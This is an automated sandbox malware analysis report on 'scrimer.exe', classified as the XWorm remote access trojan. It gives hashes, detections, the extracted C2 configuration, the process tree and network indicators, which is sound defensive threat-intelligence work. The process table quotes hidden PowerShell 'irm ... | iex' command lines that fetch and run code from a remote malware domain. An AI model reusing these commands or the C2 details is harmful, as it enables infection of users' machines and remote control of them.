| File name: | scrimer.exe |
| Full analysis: | https://app.any.run/tasks/f37040d2-0412-4ef1-ad7d-4bcaade063c1 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | May 16, 2025, 12:24:07 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | 8ED0DE27E993D90ACACB12C3A055997E |
| SHA1: | A781FBE210D3995D06697E597E182CE21F473ED1 |
| SHA256: | 33751CB1673842AE49A06D5DDF208FA49035E6225849A3732F82AC7081093F61 |
| SSDEEP: | 384:uoQGcK/69jc6nHnm2O0ADtlsOLxVyZarQRudTwRApkFTBLTsOZwpGd2v99Ikuis2:lL/+jZHnwEXVFE9j5OYhbkc |
MALICIOUS
XWORM has been detected (YARA)
- scrimer.exe (PID: 7636)
XWORM has been detected (SURICATA)
- scrimer.exe (PID: 7636)
Run PowerShell with an invisible window
- powershell.exe (PID: 7928)
Changes powershell execution policy (Bypass)
- powershell.exe (PID: 7928)
Bypass execution policy to execute commands
- powershell.exe (PID: 8152)
SUSPICIOUS
Starts CMD.EXE for commands execution
- scrimer.exe (PID: 7636)
Potential Corporate Privacy Violation
- svchost.exe (PID: 2196)
Connects to unusual port
- scrimer.exe (PID: 7636)
Contacting a server suspected of hosting an CnC
- scrimer.exe (PID: 7636)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 7872)
- powershell.exe (PID: 7928)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 7872)
- powershell.exe (PID: 7928)
Application launched itself
- powershell.exe (PID: 7928)
Checks a user's role membership (POWERSHELL)
- powershell.exe (PID: 8152)
- powershell.exe (PID: 7928)
The process bypasses the loading of PowerShell profile settings
- powershell.exe (PID: 7928)
INFO
Checks supported languages
- scrimer.exe (PID: 7636)
Reads the computer name
- scrimer.exe (PID: 7636)
Reads the machine GUID from the registry
- scrimer.exe (PID: 7636)
Disables trace logs
- powershell.exe (PID: 7928)
- powershell.exe (PID: 8152)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7928)
- powershell.exe (PID: 8152)
Checks proxy server information
- powershell.exe (PID: 8152)
- powershell.exe (PID: 7928)
- slui.exe (PID: 5728)
Reads the software policy settings
- slui.exe (PID: 5728)
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XWorm
(PID) Process(7636) scrimer.exe
C2jjjjjjjujjj-55237.portmap.io:55237
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
MutexUs2CC7jMeDd5UxQG
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:05:16 12:20:48+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 30720 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x979e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | scrimer.exe |
| LegalCopyright: | |
| OriginalFileName: | scrimer.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
131
Monitored processes
8
Malicious processes
1
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 5728 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7636 | "C:\Users\admin\Desktop\scrimer.exe" | C:\Users\admin\Desktop\scrimer.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
XWorm(PID) Process(7636) scrimer.exe C2jjjjjjjujjj-55237.portmap.io:55237 Keys AES<123456789> Options Splitter<Xwormmm> Sleep time3 USB drop nameXWorm V5.6 MutexUs2CC7jMeDd5UxQG | |||||||||||||||
| 7872 | cmd.exe /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" && exit | C:\Windows\System32\cmd.exe | — | scrimer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7880 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7928 | powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 8152 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command irm 'http://dayzcheatcheck.online/nbp.php?name=xwormfix' | iex | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 8160 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
16 246
Read events
16 246
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
1
Text files
8
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7928 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gv51bl3l.s0t.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7928 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zqrsk24n.kmc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ke3nwzcx.5lm.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zrzsltf4.1ai.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7928 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pbwly5iq.hvb.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_f4zu3dss.d1u.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zmol0mva.mhj.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8152 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:03CC000A0CA210CF5B907D4C7063435F | SHA256:68BD6AB172F0744E208FDBDFE39916F6913F86087D3F7071E4F877C2145B10AF | |||
| 7928 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_amunlwha.gnf.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
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HTTP(S) requests
10
TCP/UDP connections
51
DNS requests
21
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2104 | svchost.exe | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2104 | svchost.exe | GET | 200 | 69.192.161.161:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
8152 | powershell.exe | GET | 200 | 172.67.204.25:80 | http://dayzcheatcheck.online/nbp.php?name=xwormfix | unknown | — | — | unknown |
6028 | SIHClient.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl | unknown | — | — | whitelisted |
6028 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.2.crl | unknown | — | — | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2104 | svchost.exe | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
2104 | svchost.exe | 69.192.161.161:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
6544 | svchost.exe | 20.190.160.130:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7636 | scrimer.exe | 193.161.193.99:55237 | jjjjjjjujjj-55237.portmap.io | OOO Bitree Networks | RU | malicious |
7928 | powershell.exe | 172.67.204.25:443 | dayzcheatcheck.online | CLOUDFLARENET | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
jjjjjjjujjj-55237.portmap.io |
| malicious |
dayzcheatcheck.online |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Potential Corporate Privacy Violation | ET INFO DNS Query to a Reverse Proxy Service Observed |
2196 | svchost.exe | Misc activity | ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .io) |
7636 | scrimer.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
8152 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
— | — | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Check Security.Principal.WindowsBuiltInRole has been detected |
— | — | Misc activity | SUSPICIOUS [ANY.RUN] The Principal.WindowsIdentity in PS.Script has been detected |
— | — | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Get-WmiObject Cmdlet has been detected |
— | — | Potentially Bad Traffic | ET ATTACK_RESPONSE PowerShell NoProfile Command Received In Powershell Stagers |
8152 | powershell.exe | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Get-WmiObject Cmdlet has been detected |